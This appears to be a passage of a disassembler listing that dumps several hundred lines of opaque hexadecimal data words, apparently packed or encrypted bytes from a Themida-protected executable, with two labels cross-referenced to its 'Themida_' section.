dd 87647CF5h, 3B132D0h, 75B13244h, 0D4BA822Dh, 6F4F680Fh
dd 15F50F7Bh, 353D78B0h, 0ABB14FC6h, 0D5B0BE59h, 0EA4D3256h
dd 75B1CB56h, 0BAB0B559h, 5D483256h, 0AEA0DB56h, 14ED3256h
dd 489A05EAh, 0FCF8E7E9h, 8DBA35F7h, 754C93A9h, 0B53B3D56h
dd 0B4B13256h, 0AEB1325Ch, 76BC90DDh, 5D546667h, 0D5B1F070h
dd 0EAB134BFh, 9142D256h, 0BAACA4F1h, 5DA2DB56h, 0F0B63256h
dd 0C83FA6CDh, 5976E773h, 0BFC246C4h, 0C277F84Ch, 80B132DFh
dd 0BAB13254h, 5AB13256h, 5982C46Eh, 0FC52C528h, 0C12C06EBh
dd 3DD13256h, 0EAB1325Dh, 0BCB013EBh, 0B4DE9D38h, 3BADA304h
dd 2C8BFBD7h, 5066530Ch, 0ABB5325Ch, 0D5BD3244h, 0EA9F324Fh
dd 0DAC32DAh, 349758F1h, 0CF1BA1CFh, 0BA583256h, 25B13256h
dd 1DD256Dh, 0C39B6E43h, 0EE0A0082h, 0C44D3EC0h, 0BAC3CCCCh
dd 0EE035256h, 0E557B330h, 0D9BE5342h, 0ABB13257h, 3CB132A3h
dd 0EAB13242h, 9369C6Eh, 3CDA765h, 0DBA25183h, 0D05B44A9h
dd 179844DAh, 0AB4D3256h, 0C33A3D56h, 8AB13256h, 75B13BBFh
dd 92F5BE56h, 757391B1h, 20BE30B3h, 57B13256h, 0AA323D37h
dd 20B13256h, 0EA483256h, 67B37856h, 0B5B13256h, 5DB13ED2h
dd 0AEB6DB56h, 0E3543256h, 6826E3C2h, 0DAB13228h, 0EAB138DCh
dd 0B6305256h, 0BB2DF5DDh, 5DD0F5DDh, 0AEB37856h, 9C843256h
dd 91916E3Dh, 0F78D930Ah, 7139D92Fh, 0AC23DB38h, 0BAB18A36h
dd 5DB13FBFh, 6EA5ED56h, 0AD26F056h, 3A6485D9h, 85E03F0Bh
dd 0EAA5DB04h, 300D3256h, 7B19F9CCh, 0A0E59530h, 577171A4h
dd 0E25DAD68h, 9ABE891Ch, 0D5B13EBFh, 48DCB656h, 9BD8C265h
dd 40942ED9h, 0D4E968FDh, 0F8C01652h, 0B51CF681h, 85180225h
dd 54D46E99h, 12967A9Fh, 75B7DB33h, 7DB73256h, 3E232FA2h
dd 9A3853CBh, 0C7E96872h, 0E35A0833h, 217634B7h, 8AD2A04Bh
dd 0F90EEC4Fh, 276AD883h, 4F58AE00h, 0ECB13256h, 0D938A205h
dd 31F48EF9h, 0B3709A9Dh, 184C66F1h, 4B44B215h, 0BAB126BFh
dd 1704DE56h, 0B880EAEDh, 0F5DCB6C1h, 45D8C265h, 2F942ED9h
dd 8BEFAFFDh, 140A78C6h, 0BAB132C5h, 0B4C18174h, 0B2D3D38h
dd 7639192Ch, 0F6853510h, 3D319184h, 0EAA5DB48h, 607D3256h
dd 2B09297Ch, 90D5C5A0h, 6761A1D4h, 0D24DDD98h, 0CD2C398Ch
dd 8DD0E4DDh, 54C87295h, 0BF845E49h, 0BA226A6Dh, 4E585256h
dd 5FB13256h, 5C51AB2Bh, 0D944A8E8h, 0D90306Fh, 9A3D12A8h
dd 1449F13Dh, 0BF583256h, 61B13256h, 0E5B4B3F5h, 0DCBE3256h
dd 0ABB13242h, 0D5B13DBFh, 98906E56h, 1BE9B81Bh, 42E30D9Eh
dd 0AAF73272h, 0BC77B236h, 57B4B359h, 84083256h, 0B4F324CAh
dd 16443256h, 0F8BE3256h, 0BAB13251h, 4F7B8D36h, 0A1D07D9Fh
dd 57B133D6h, 0ABB1CB56h, 0D5B0BC59h, 0EA493256h, 75A2DB56h
dd 16903256h, 0A1D3B221h, 35D3ABD9h, 0E802A2CEh, 9959BDB3h
dd 54D75231h, 3FD40B6h, 75B13259h, 3D63349Ch, 19B4B206h
dd 0DEB45615h, 36D3CC5Ch, 0AB4D3256h, 0D4353D56h, 12B13256h
dd 894D3256h, 0EAD13256h, 52E86A06h, 0AED0C3E9h, 36445256h
dd 0ABB134BFh, 0B330A056h, 0EA7B1764h, 0FEE75256h, 52306D87h
dd 3B163A97h, 47B13237h, 57B13246h, 4955220Ah, 0E63C051h
dd 48CBCB66h, 4A50C470h, 0B3583256h, 0BBB13256h, 2381BD6Bh
dd 0E094433Eh, 23BE3256h, 0D5B1325Fh, 0EA323D36h, 8DB13256h
dd 0B5B13237h, 5DB135D3h, 0AF3A3D56h, 0ABB13256h, 0A7583256h
dd 7EB13256h, 0D935CE87h, 3D62EDCBh, 0BA54848Dh, 51303D56h
dd 0A1B13256h, 57B134D7h, 0AB333D56h, 0D5B13256h, 0EAA3DB56h
dd 17BC3256h, 39176911h, 0ABE930B0h, 7A997945h, 0ACEEA14Ah
dd 1ED13256h, 0C3A54EDh, 3B13237h, 75B1325Dh, 1D91EDE2h
dd 38362FD4h, 0AE1BCF40h, 57A5DB56h, 0BFAF3256h, 8B5830E7h
dd 0FFE4C813h, 0E60055ABh, 0CC4E3D4h, 5DB13059h, 0AEB13FBFh
dd 0F8EF4156h, 9C2AFD49h, 0ECFC0916h, 0EAB1FABDh, 75B134BFh
dd 310B3156h, 52D348EFh, 0AEB135DEh, 56323D56h, 52B13256h
dd 0DAD13256h, 8AD0E2E1h, 75B1BB59h, 0BAD03256h, 5DB1CE56h
dd 0AEBCB659h, 5F583256h, 20B13256h, 97859EC6h, 0EA8418A3h
dd 75B1CA56h, 46B132AEh, 0DBBE3256h, 0AEB13251h, 57B0BC59h
dd 0AB4D3256h, 0C33C3D56h, 3B13256h, 75B13247h, 57A870E6h
dd 0C65DBE8Ah, 737644E4h, 92651D32h, 0ABBADB6Ch, 26CA3256h
dd 22BE1C7h, 0ACEA72C1h, 43B132A9h, 5DB126BFh, 3894A456h
dd 7D70A4D5h, 611DAC0Fh, 3DD69C0Eh, 0F0F5248Ch, 80B132B2h
dd 0BA483256h, 5DBBDB56h, 0FB4B3256h, 0E6D6CF43h, 0DE60B0C5h
dd 5DBE3256h, 0EAB13258h, 75393D36h, 3BB13256h, 0F2580C9Fh
dd 0AE49531Dh, 5B363D56h, 0A4B13256h, 0D5B134D8h, 0EA323D56h
dd 75B13256h, 0BABFDB56h, 6A103256h, 94F28020h, 799072CBh
dd 9A8F6329h, 0D5483256h, 0EB333D56h, 8DB13256h, 0B4583256h
dd 95B13256h, 42E171C6h, 0F4625A89h, 2B9ED8h, 0DAB1325Ch
dd 0EAB125D2h, 65585256h, 5DB13256h, 278755CAh, 11CB263Fh
dd 0D9D3D874h, 0CA057ECBh, 0DE583256h, 5FB13256h, 8931A3B8h
dd 8600F4F3h, 52587504h, 0C9B13256h, 5C071B32h, 9C044B12h
dd 0A61CFCFCh, 0EAB1A09Bh, 0E6008836h, 5D7466Bh, 5DD0E8CAh
dd 0AEBEDB56h, 0FA0C3256h, 3A685776h, 0E7B9578Fh, 367FD911h
dd 7AB132F1h, 0BAB13ADFh, 0AA305256h, 0AAE083C8h, 37B13237h
dd 0CA49E2DDh, 0D5483256h, 6BD75256h, 9D04E8B0h, 0BAB13251h
dd 0C90B1079h, 0F52AF499h, 37B13237h, 0ABB13CBEh, 4F829956h
dd 8E06AA1Eh, 0DC559FEFh, 411A11h, 3BB5B4E8h, 25D7630Dh
dd 57D069A4h, 0ABA1DB56h, 41CE3256h, 4B0183A4h, 4D577B1Eh
dd 2CB35E19h, 5DB1C4D4h, 0CEB132AFh, 57B2B759h, 20D73256h
dd 58BE528Ch, 0EAB13256h, 14D06A07h, 0DCD13256h, 0B8E2D9D7h
dd 0AEB123BEh, 852B6F56h, 3BCCECA5h, 8DE65DF8h, 0CC2AF2E3h
dd 795826CBh, 75B13256h, 2ADA0675h, 89EA842Fh, 856E5F0h
dd 0ABBCDB37h, 0BF8F3256h, 0FE862D71h, 79691DEEh, 0BA953EA8h
dd 5DBEDB56h, 0F7733256h, 0DDD37C10h, 0AC5EAD1h, 1999C132h
dd 8AB132B5h, 0E5F54FEEh, 0B8303D0Eh, 0EB13256h, 0AEB1530Eh
dd 0E9D752AFh, 0A458A9CAh, 83B13256h, 0ED33D355h, 0DB6B2204h
dd 1F2DB87h, 5DD0DE41h, 0B33D3D56h, 58B13256h, 0ABB125D8h
dd 0D5A3DB56h, 6BFB3256h, 0D8F9D7B8h, 0C723DABh, 0D382ED6Bh
dd 926FE2EAh, 0EF668136h, 9E0EECA9h, 29B13237h, 0EAB0BE59h
dd 75483256h, 0BAB1CB56h, 5DA0B159h, 0CED13256h, 57B6DA37h
dd 72833256h, 17BF6D96h, 0EAD06C73h, 6F3A3D56h, 0B5B13256h
dd 5DB126DBh, 0AEBEDB56h, 0C3D83256h, 23845862h, 5B6B42E3h
dd 716D7053h, 8CB13214h, 0BA483256h, 5DB1CE56h, 0AEA9B159h
dd 44583256h, 16B13256h, 0EE93C44Fh, 98852EB1h, 55D9B434h
dd 0C2A08A80h, 5DB1507Dh, 0DF42B236h, 36628559h, 0A4D13256h
dd 0D5B132D0h, 0EF3B3D56h, 13B13256h, 0C418C4D7h, 5DB1CB37h
dd 0AEB1CAAFh, 57B138BFh, 29ECF656h, 18CBE0FDh, 0EA1CC665h
dd 75BEDB56h, 97533256h, 0F12853Bh, 700F55C2h, 20233514h
dd 0A6333D40h, 0B5B13256h, 1A912FEFh, 326AB341h, 0DBBA4FFFh
dd 52D13256h, 0AEB134D2h, 573E3D56h, 0CDB13256h, 0B48E28EFh
dd 310E3D36h, 0A846B330h, 0BAB15349h, 0A4B132AAh, 0CEB132A3h
dd 0AE6727E8h, 0BC313D45h
dd 3CB13256h, 0EAB13244h, 240ECD53h, 5C504DA8h, 159096h
dd 8198ADF4h, 57D07A55h, 0AA3C3D56h, 20B13256h, 0E1583256h
dd 0BB13256h, 8B849F26h, 7AB63F56h, 0AE4865C4h, 5F3C3D56h
dd 0A4B13256h, 0D5B130DEh, 0EAD05256h, 75B1CE56h, 0BAB0B559h
db 56h, 32h
word_5B1E8E dw 5D4Dh ; DATA XREF: Themida_:0057BEDFr
dd 0A8585256h, 0EB13256h, 6E8E838Dh, 0A256B3A5h, 8BDB6652h
dd 61583256h, 62B13256h, 0EABA054Ah, 0E4CBE3D7h, 3D0355BEh
dd 4B5E38D5h, 0D5DFA857h, 0CF3C3D56h, 15B13256h, 0BAB122BFh
dd 0C4F43556h, 4CFFF48Eh, 49BBA28Fh, 0F157B95Fh, 0D5B8DB23h
dd 54A3256h, 4FC3EEDDh, 0DB5918C0h, 0D3BE3256h, 0AEB1325Ch
dd 0EE6AB236h, 0CD62B330h, 0D5B153A7h, 0E5B132AFh, 75B122DBh
dd 0BABADB56h, 0BE3E3256h, 4B621895h, 0CDECBE0Dh, 0BC393D84h
dd 0DAB13256h, 0EAB123DBh, 75BDDB56h, 96C13256h, 354F6213h
dd 71230D5Eh, 57B134E8h, 0A4B132AFh, 0D5B135DFh, 0EB353D56h
dd 8CB13256h, 0BA443256h, 0E4D75256h, 29BE830Ah, 57B13255h
dd 0CA628559h, 5FBE3256h, 0EAB13240h, 75A1B259h, 0B1583256h
dd 6BB13256h, 75B012Dh, 92504E4Bh, 0ABB1C7F3h, 0D5B137BFh
dd 31BB5556h, 75B1309Eh, 0B4323DA3h, 0B4B13256h, 0AEB1325Fh
dd 0B3453C8h, 3738052Ch, 0DAB13237h, 0EAB137D6h, 0FED75256h
dd 0BAB15390h, 5DB135BFh, 0F2A6356h, 0AEEDC017h, 28BE3256h
dd 0D5B13257h, 0EAA3DBAEh, 8B223256h, 4E1ABE1Fh, 2AF67CF3h
dd 74ED57E3h, 7B577704h, 2EBE3256h, 0D5B13257h, 0E5B132AFh
dd 75B133DCh, 0BAB1CB56h, 5DBBDB36h, 0D03F3256h, 1847AE1Eh
dd 3E13718Ch, 0D5B3BF59h, 0B1E73256h, 9CB13237h, 0BAB13250h
dd 0E6705B57h, 0AEB1D89Bh, 57B13BBFh, 8E71ED56h, 6EA254C6h
dd 0EAB1FA91h, 75B139BFh, 629D0756h, 0C9F7BD75h, 32FE5A9Dh
dd 0DFBE3256h, 0ABB1325Ch, 0D5B137BFh, 2B585D56h, 75B1AE6Dh
dd 0BAB138BFh, 21390456h, 8CE30B74h, 0A29568E9h, 0AC583256h
dd 0E4B13256h, 2B26DD21h, 75B1878Fh, 0BAB6DB36h, 0CEC53256h
dd 3EBE0641h, 57B153F6h, 0ABB123BFh, 0B0BB8356h, 0A4686A2Dh
dd 0BCAC1625h, 0A1BCFEE4h, 5DB1A359h, 0AEB138BFh, 7AB0AF56h
dd 61196D9Ch, 0D5B0491Ah, 0FB585256h, 37B13256h, 76740CABh
dd 51A24358h, 0A722947Dh, 0F4B15580h, 16B58C30h, 2CB13237h
dd 0EA483256h, 75B1C756h, 53B132AAh, 5DB1325Dh, 548C414Bh
dd 0E898FD4Bh, 0AB0B5D8Dh, 0D5A0DB56h, 0DBB53256h, 9BDB4DF7h
dd 2603CBEEh, 59BAC416h, 0A12C3FB0h, 57B129DAh, 0BE3A3D56h
dd 3CB13256h, 0EAB13246h, 1A69ACh, 19BEEF1Eh, 3EC530FCh
dd 0DFF17FF6h, 50583256h, 64B13256h, 21C22C22h, 0EAB12A3Bh
dd 75B8BC59h, 4FD13256h, 5367D2D7h, 0AED02C49h, 57B1CE56h
dd 52063D36h, 0D5B153AAh, 18306236h, 404EB66Ah, 0BB373D08h
dd 0A1B13256h, 0A1B13237h, 57B13CDFh, 0ABB8DB56h, 930D3256h
dd 2FCC37DDh, 751EF25Fh, 0B23B3D56h, 52B13256h, 0AEB130DEh
dd 57D05256h, 0ABB1CB56h, 0D5A5DB36h, 29D93256h, 43B3FE4Fh
dd 4DD81D39h, 83DD99B2h, 49DB4CF6h, 364D3383h, 0AB4D3256h
dd 0D5B1C756h, 0E53C3DAAh, 9CB13256h, 0BAB1325Ch, 753DB08h
dd 3CF4BFh, 57B12CD4h, 0ABB134BFh, 0D8A5B856h, 0EAB89305h
dd 75A0DB56h, 0C1023256h, 7EDD6CC8h, 0F4FBEE55h, 0E2174717h
dd 0AB4EE518h, 0D5B1CA56h, 3B132A3h, 75B1325Ah, 97EF7383h
dd 0E984DC87h, 0E23C7E72h, 0DCD13256h, 0ABB1538Eh, 0D5BEDB36h
dd 2EB33256h, 13951456h, 542624A9h, 20EEF775h, 59063DF1h
dd 0BEB13237h, 0ABB1325Ch, 66A77138h, 3AF87833h, 75B148B3h
dd 0BF303D36h, 3BB13256h, 9944E8D7h, 7859B330h, 0ABB15314h
dd 0D5BDB459h, 69BE3256h, 75B13250h, 0BAB1BB59h, 5DB13256h
dd 0AEB135BFh, 0AA4FED56h, 0D6A139D4h, 3CD13256h, 0EAB1325Ch
dd 0ADB14403h, 205402C1h, 923A749Ch, 0CEB13237h, 57BBB959h
dd 0AE583256h, 0DCB13256h, 7CE91003h, 75B13FBFh, 47FA5456h
dd 6947E1DBh, 0F52D290Ah, 37D0F9F3h, 0ABB3B759h, 0B4D13256h
dd 0EAB3B159h, 2FE33256h, 4FB13237h, 5DB8B659h, 0C8D13256h
dd 314BB3EFh, 0ABD0C9DDh, 0D5BFDB56h, 0E78E3256h, 0BBED00Ah
dd 7B923889h, 571CEFBh, 0BF583256h, 77B13256h, 8C0A012Ch
dd 3E02CE10h, 17812D1Ch, 17DEE182h, 3EBE3256h, 5DB13245h
dd 0AEB13CBFh, 5E9E3D56h, 1DF97A3Ch, 7A354AB2h, 0EAC6A5F3h
dd 75A3DB56h, 1BD63256h, 8D903803h, 0B7C5C21Bh, 0C85AF4C9h
dd 70BA59AEh, 0B3D13256h, 63E1E4D7h, 743E3D37h, 4FB13256h
dd 57583256h, 0A9B13256h, 7D7F6379h, 810B72E6h, 29B13232h
dd 8A4D3256h, 75B122BFh, 3DDCCF56h, 9D0347E3h, 341AB828h
dd 96F80F06h, 0ABD0C7CDh, 5BBE5256h, 0EAB13254h, 9DD16801h
dd 0BAB13251h, 0E9687C89h, 0F6ECC57Eh, 0FA158C30h, 0ABB15337h
dd 0DAB132AFh, 0EAB13AD5h, 773B3D56h, 0DAB13256h, 95005237h
dd 0C962FCD7h, 57D03FF6h, 0ABA5DB56h, 0F58D3256h, 94DB1D0Ch
dd 2926965Ah, 0BAD5D2FAh, 9E1C2CD0h, 0AEB1C95Ah, 52353D36h
dd 15B13256h, 0E94BD2EDh, 0C3F18C30h, 89B13237h, 0B6583256h
dd 54B13256h, 8278ADD4h, 6F5E205Ah, 5E0189D8h, 54D13256h
dd 9BE8119Ch, 75BFDA30h, 0A5423256h, 0A132F675h, 53CB5008h
dd 17A56D70h, 0CAEE4BE6h, 0D8583256h, 1AB13256h, 5A05048Fh
dd 2768AB72h, 0D0F6C66Bh, 47D13256h, 57B13244h, 0E93495BFh
dd 9491DB0Ah, 2728F295h, 37184B86h, 2E2E3CEh, 6A8A3A3Bh
dd 0AEB15309h, 0C60A5436h
db 9, 0DBh
db 0B6h
dword_5B243B dd 5C3256ABh ; DATA XREF: Themida_:loc_57BECDr
db 92h
dd 2534E07Ah, 75B15377h, 0BAB122BFh, 0FCD44A56h, 77FDA2BDh
dd 23E3719Ch, 7D3471E5h, 29B132DDh, 3D13256h, 75B13245h
dd 8E16D012h, 367579C9h, 2E81FEB1h, 20AF6273h, 136F9E64h
dd 8BA96140h, 0EB3C3D37h, 8DB13256h, 38BE3256h, 5DB13250h
dd 19BECE36h, 57B1539Ch, 0ABB135BFh, 44232356h, 5C2A428Ah
dd 9CD13256h, 0BAB13247h, 64B0C3DCh, 0DCB4CC61h, 0B2CF47FFh
dd 6C294A4Eh, 0D6323DC9h, 0E5B13256h, 8DD0E4E1h, 3CBE3256h
dd 5DB13257h, 25E252AFh, 983A6895h, 0CBB13237h, 544E8559h
dd 0D54576BCh, 0F4D1531Ah, 555248BFh, 5DB15361h, 0AEB13ABFh
dd 60301756h, 23286780h, 0D5A0DB9Fh, 5DCB3256h, 23673400h
dd 183FD341h, 0EF498224h, 0AEC4DDD3h, 57B1C756h, 0ABB122BFh
dd 7A334B56h, 26E9AA85h, 727B5765h, 75FD4CFCh, 0A8B13258h
dd 0AEB9B059h, 58D13256h, 0ABB132DAh, 0D5B15356h, 0EAB9BB59h
dd 0F4BE3256h, 0BAB13254h, 5DB15336h, 0CF46B936h, 57493256h
dd 0A158CA56h, 0C9B13256h, 94EAB74h, 3810065h, 0B5B132A3h
dd 5DB13EDCh, 0A83B3D56h, 58B13256h, 0ABB132DDh, 0D5B1CA56h
dd 0EAB9BC59h, 8DD13256h, 0AC2D9BEEh, 5DB15311h, 0AEBDB759h
dd 0DCBE3256h, 0ABB13250h, 0D5B1B459h, 0EAB13256h, 75B9DB36h
dd 0EFF23256h, 49297D72h, 0C8E028CDh, 0AF79E9D7h, 0ABB1530Fh
dd 0D43B3DA3h, 1FB13256h, 7A583256h, 0CBB13256h, 3EA2DC91h
dd 38677467h, 1BD2B228h, 0ABB1B6D4h, 0D5B13DBFh, 5EC1DD56h
dd 0A19D4367h, 9D41A456h, 743ADF3h, 0A1D13256h, 57B131DEh
dd 0A57FB256h, 3CB13237h, 0EAB13250h, 56F310B1h, 0BAB189AFh
dd 5DBCBA59h, 0A1D13256h, 57B132DFh, 48305456h, 0D5D04242h
dd 65BE5256h, 75B13253h, 5E5B4EDh, 5DB15300h, 0AEB1C7AFh
dd 58B132AEh, 0ABB127DBh, 0D5A1DB56h, 46213256h, 5F447062h
dd 7FAC7A63h, 28FC0DBFh, 0AEB1ED6Ch, 0BEB132A3h, 0ABB13251h
dd 0ABAD635Bh, 3070B98h, 75B1325Ah, 0B1BC0E0Ch, 0EE954BA3h
dd 9EF4925h, 51583256h, 4AB13256h, 526A2596h, 0E5B13295h
dd 75B124D4h, 0BAA0DB56h, 0D43E3256h, 69273392h, 91EF8AEBh
dd 0A8C0AC32h, 0D5B9EBBCh, 3D1CA56h, 75B1325Ch, 3432FC7Eh
dd 674DCD1Ah, 0A35969A6h, 0AAB13256h, 938F949Ah, 2A6AE21h
dd 231FB0C8h, 75B13BBFh, 971B0656h, 484807B3h, 0CFEB9DBFh
dd 0D8BE3256h, 0ABB13257h, 3CB132AAh, 0EAB13247h, 0EB2A2A18h
dd 0C484EA28h, 432DC2F3h, 96A3E5BDh, 0BEB1328Dh, 0ABB13250h
dd 3A83D23Ch, 0EAB1FE8Eh, 9CB132AAh, 0BAB13245h, 1F6758E1h
dd 2AF9C419h, 6E07E529h, 64568658h, 0DAA297A5h, 0EAB13BD0h
dd 0F4D75256h, 301120B9h, 5DB153ABh, 0A9353DAAh, 58B13256h
dd 0ABB133DCh, 0D5B1CB56h, 0EAB120BFh, 3646EC56h, 0AAD216FFh
dd 52AC88B3h, 0F4471B5h, 57FDE3CDh, 20D75256h, 0D5B15391h
dd 0EABBDB36h, 0F20E3256h, 47D770A1h, 7048EFACh, 0CF7FB930h
dd 43583256h, 5FB13256h, 0DC4899Fh, 728AFFA4h, 0A99E2E66h
dd 88A66360h, 5D616A5Ah, 0AEB7DB56h, 52D93256h, 89A523EAh
dd 0B3D13256h, 124D35EEh, 75B1CB37h, 0BAB13CBFh, 4B1DB856h
dd 0EE5E58E0h, 0F60FB215h, 577A1E58h, 54D13256h, 9A2FDD90h
dd 92E88963h, 0BAD0545Eh, 5DB9DB56h, 71743256h, 0B0E1B61Dh
dd 0ABB18B4Dh, 0B449C736h, 0E3583256h, 78B13256h, 691F1E95h
dd 0B2F8413Fh, 0AEBBB659h, 52583256h, 0AAB13256h, 3612640Ch
dd 66BE3256h, 75B13251h, 0BAB0B859h, 5D443256h, 0AF363D56h
dd 0A2B13256h, 2DBE3256h, 0D5B13257h, 0E5B132AAh, 75B133D1h
dd 0BAB1CA56h, 4A383D36h, 47B13256h, 57B13244h, 4C3D7776h
dd 0FCE75201h, 0A1221A36h, 98ED14FEh, 0AE58E597h, 0EEB13256h
dd 4FD70C7Ah, 0D6C786D9h, 0CC5FC134h, 0A3D2D0FEh, 8BE9D120h
dd 1473B936h, 0BA4D3256h, 0EABE5256h, 63638C98h, 57D0604Ch
dd 0ABB1CB56h, 0D5B138BFh, 4B8AE656h, 0BA29C2B7h, 0BA40EA2Ch
dd 51373D56h, 0A1B13256h, 57B134D3h, 0AB323D56h, 0D5B13256h
dd 0EAB1C756h, 75B0BC59h, 0BA4D3256h, 5DA5DB56h, 6C3B3256h
dd 35D66A1Fh, 3E76CCBFh, 0B93193AEh, 1E14880Bh, 75B11499h
dd 0BAA6BB59h, 4F583256h, 53B13256h, 6A07F159h, 173F0189h
dd 48DEC86h, 1F68B3B9h, 80B132A9h, 3DBE3256h, 5DB13257h
dd 0CEB132AEh, 57B3B459h, 0CAD13256h, 0B5B13237h, 0EAD0F8DCh
dd 75B1CE56h, 0BAB135BFh, 183CD556h, 0F9C5C01h, 0DEBE3256h
dd 0ABB13251h, 0D5B0BC59h, 3443256h, 75B1325Ah, 24BF3163h
dd 9962A92Dh, 0EDA721E5h, 51583256h, 29B13256h, 0D3232D1h
dd 51D75256h, 0A7302244h, 0D4AC7D29h, 0B4B13237h, 0AEB13253h
dd 2F059B65h, 0A4B13222h, 0D5B13CDAh, 0EAB8DB56h, 0CF5E3256h
dd 98062489h, 5DB3CDA4h, 25D75256h, 57B153A5h, 0ABB1CAAAh
dd 0DAB132A3h, 0EAB12FD6h, 9D495256h, 0BAB13242h, 0F3AAD4FCh
dd 0C96801D6h, 0F19720FBh, 37BD84F6h, 0CDC4C9CCh, 0EAB1530Fh
dd 15B132AFh, 0BAB121BEh, 0DEA99456h, 760098A6h, 0B4194CB8h
dd 87B0BBCh, 0D3370A61h, 0EAB1B359h, 0C5EB3256h, 0BAB153F6h
dd 5DB0B359h, 0AE443256h, 45323D56h, 0A4B13256h, 0D5B13ED3h
dd 0EAB6DB56h, 5A123256h, 29C4AE8Bh, 5DB1CB50h, 0AEA1B059h
dd 0DEBE3256h, 0ABB1325Ch, 0D5B137BFh, 3060D356h, 75B1CA63h
dd 0BAB122BFh, 4FCEEB56h, 9EF5E686h, 72E8F17Eh, 0C5E1A7B9h
dd 0B5B132C6h, 0B942B930h, 80DA8D30h, 0BAB15309h, 52B132A3h
dd 0AEB131D8h, 36485256h, 0ABB6B459h, 59BE3256h, 0EAB13257h
dd 8CB132AAh, 32BE3256h, 5DB1325Dh, 0AEB134BFh, 0C196F956h
dd 0AB83B6CBh, 0D43B3D56h, 16B13256h, 13D13256h, 0EAD800EEh
dd 3CEB6907h, 69AC8D36h, 57D06230h, 0ABB1CA56h, 0DAB132A3h
dd 0EAB13EDDh, 73333D56h, 0B5B13256h, 5DB132D4h, 0A9323D56h
dd 58B13256h, 0ABB133DDh, 0D5B1CE56h, 0EAA4B359h, 0F0BE3256h
dd 0BAB13259h, 5DB138BFh, 838FA756h, 0DF945A67h, 0ABACAE53h
dd 5ED75256h, 55D76581h, 14EED5A9h, 0DCD13256h, 77BBEAD7h
dd 0AEB13ABFh, 0A7F52656h, 0DA8368B3h, 0D5B153B9h, 0EAB120BFh
dd 0D74D7556h, 6DAF821Eh, 9032D199h, 29B31DF4h, 5700E0D6h
dd 0ABBFDB56h, 9C393256h, 0B22B5170h, 66868688h, 20FD89ECh
dd 0DABE3256h, 0AEB1325Fh, 9D30CA36h, 0F0EBCF23h, 29B13237h
dd 0E5D13256h, 7AE6CCE1h, 0BAB132D2h, 5DD06D56h, 0AEA0DB56h
dd 0BBD53256h, 0CEFC1DC5h, 0BCF20532h, 0A11721D5h, 75DF26EBh
dd 0BAB1CB56h, 3DB132AAh, 0AEB1B659h, 57D03256h, 0A3333D56h
dd 0B5B13256h, 0CE978930h, 75D06A05h, 0BAB1CE56h, 5DB122BFh
dd 3172F56h, 0FE61EFCDh, 0EDCCBE2Dh, 0D4FDCA7Ch, 0EAB1CE18h
dd 75B138BFh, 20FA8756h, 2F5AC9A6h, 0AE3B9A49h, 0A53A5256h
dd 9B23E5D7h, 0D5D067D4h, 0EAB7DB56h, 0A6AA3256h, 1391B312h
dd 5D483256h, 0A6595256h, 47B13256h, 0A014A9C3h, 54F6089Bh
dd 9866C396h, 75D0680Bh, 0BAB1CB56h, 52B132AAh, 0AEB135D6h
dd 56373D56h, 5EB13256h, 0D5B13ABFh, 0D12DC956h, 0B5655EFFh
dd 42B13296h, 5D443256h, 0AEB1CE56h, 37B132AAh, 0ABB126BEh
dd 8B74F256h, 0C26E9E1Fh, 6C1E3A2Eh, 0B275F8C6h, 9654B1ADh
dd 5BEFCB6Dh, 57B1CA37h, 0ABBBDB36h, 0C55C3256h, 31A05FD9h
dd 0BF98829Fh, 0A6348B30h, 0DDBE5237h, 0AEB1325Ah, 57B135BFh
dd 0A1A5CB56h, 97D3E49Ch
dd 0EAB132BEh, 9F306856h, 0BC1FA06Eh, 48303DAAh, 0CEB13256h
dd 5C59CADDh, 0A9B13256h, 0E5C1996Eh, 642F19F2h, 14EE0A57h
dd 0E534BFAEh, 52B79FC6h, 0AEB124D3h, 57A0DB56h, 0F50A3256h
dd 0F03B2A31h, 3DA31684h, 0D0C8E6E5h, 33D818A7h, 0F3CA38D4h
dd 0AEBFDB50h, 0FDB3256h, 2FA18E18h, 3B8E0651h, 6487916Dh
dd 0EE33BFAAh, 4FB79D0Ah, 26A9B0DFh, 52D134F8h, 5EE1EBD7h
dd 0A4D059AEh, 0D5B127DEh, 61D75256h, 75BADB95h, 63CE3256h
dd 7DA54D9Dh, 7726C594h, 0B1595365h, 42B13265h, 0D5B13251h
dd 6374CF85h, 9D817844h, 0BAB130D1h, 3933F5AFh, 0AEB79C2Ch
dd 58B13256h, 0ABB135DDh, 8EE35256h, 8B71EFD6h, 4C47B336h
dd 53BD82DBh, 5DB1325Fh, 28E18F39h, 32F6EEB8h, 0CBE35380h
dd 0D5B13BBFh, 112E9656h, 958C2CEh, 7CD0CEDBh, 0F5A4E7D3h
dd 2ED16450h, 0D6BE0D91h, 0ABB13250h, 0D5B1BE59h, 3D03256h
dd 75B13242h, 0ADE0048Ah, 8DE93E64h, 2738D0Ch, 0FD472358h
dd 0B0998AD1h, 7D09603Eh, 0E35952CAh, 78B13256h, 0AB71B935h
dd 6F31806h, 0AEB126BEh, 0F7BEF656h, 0B3726B2Fh, 0D200E1A0h
dd 99D6FDCDh, 774AEB59h, 0DBEA690Dh, 522487A9h, 28BE34FEh
dd 57B1325Fh, 311F8936h, 33A2A85h, 9B34BF37h, 9CB7993Fh
dd 0BAB13250h, 0F6230115h, 7E4E2014h, 59586436h, 1EB13256h
dd 0F8FE6D51h, 6D48E52Eh, 0CD81B97h, 5BE6B76h, 0D8385380h
dd 0A819159Fh, 57B13BBFh, 0BBF8B856h, 7BC3FAFDh, 0EEDB2AAFh
dd 75B138BFh, 0BD55D56h, 0A6448F24h, 0C6822128h, 57B12256h
dd 0A6F15AA3h, 63D13255h, 8B09848Fh, 8A49323Ch, 0BD343D86h
dd 3DB13256h, 19BE5336h, 0BEEB5399h, 0ABB1325Eh, 6C849753h
dd 0AB319EAAh, 0F1BEF25Dh, 0BAB1335Bh, 3933BBAEh, 52B79C2Ch
dd 2D1BB0DFh, 0FDD134F8h, 0D5B13CBFh, 355E3D56h, 6095D963h
dd 81A3F220h, 4EE24A1h, 0AEB3BC59h, 36D13256h, 0B73D3D37h
dd 0B5B13256h, 0EAB122BEh, 1E227A56h, 0C5B6A772h, 5ADA9626h
dd 342575B3h, 0EED76855h, 12D085FCh, 0D5B23F16h, 1349B9A3h
dd 13D1F265h, 8E7ADCD7h, 3D1BC137h, 47E8E4D6h, 57B1325Bh
dd 0C304C2A2h, 3D9C0DDFh, 75C4B2B6h, 80E353D4h, 4F44363Ch
dd 5DA1323Eh, 14D75256h, 3FD0798Bh, 0ABB13656h, 0D5BCBB59h
